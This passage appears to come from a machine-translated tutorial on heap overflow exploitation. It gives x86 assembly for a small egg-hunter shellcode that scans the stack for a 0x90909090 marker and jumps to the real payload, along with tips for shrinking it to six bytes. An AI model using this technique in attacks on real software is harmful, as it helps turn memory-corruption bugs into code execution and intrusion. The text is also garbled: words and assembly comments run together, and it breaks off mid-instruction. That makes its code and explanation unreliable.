Advanced Heap Overflow exploitation skills (2)

7. Select a global address for the function address. Use the memory allocation to write a short segment.ShellcodeFind the realShellcode. This is mainly because it is difficult to search for items in the heap. If there is something in the stack that can be passed, it is more convenient. This smallShellcodeIt takes a little longer than six, and multiple memory allocation and release operations are required to complete.

8. Search for authenticityShellcodeSmallShellcodeCode.

(1), Search for stacks;

PushEsp

PopEdi

PushEsp

PopEcx

 

Mov eax, 0x90909090// 5 bytesMov ax, 0x90904 bytes

Repnz

Scasd// 1 bytesScasw2 bytes4 + 2 = 5 + 1

Push edi

Ret

 

The simplified version may be6ByteShellcode:

PushEsp

PopEdi

Repnz

Scasd

Push edi

Ret

 

In the stackShellcodeToZero x 90909090You can use other tags or make them simpler. if the environment is fixed at that timeEaxOrAx, You can use this valueShellcodeStart tag.ShellcodeCan be reduced5Bytes. If there is a large value in the stack, you can directlyPopToEcx, OrEcxFixed and relatively large, so no value can be assigned to reduce1To2Bytes. Simplified VersionShellcodeIt's relatively small.,It can be as small6Bytes.

(2)Searching for heapShellcode.

Mov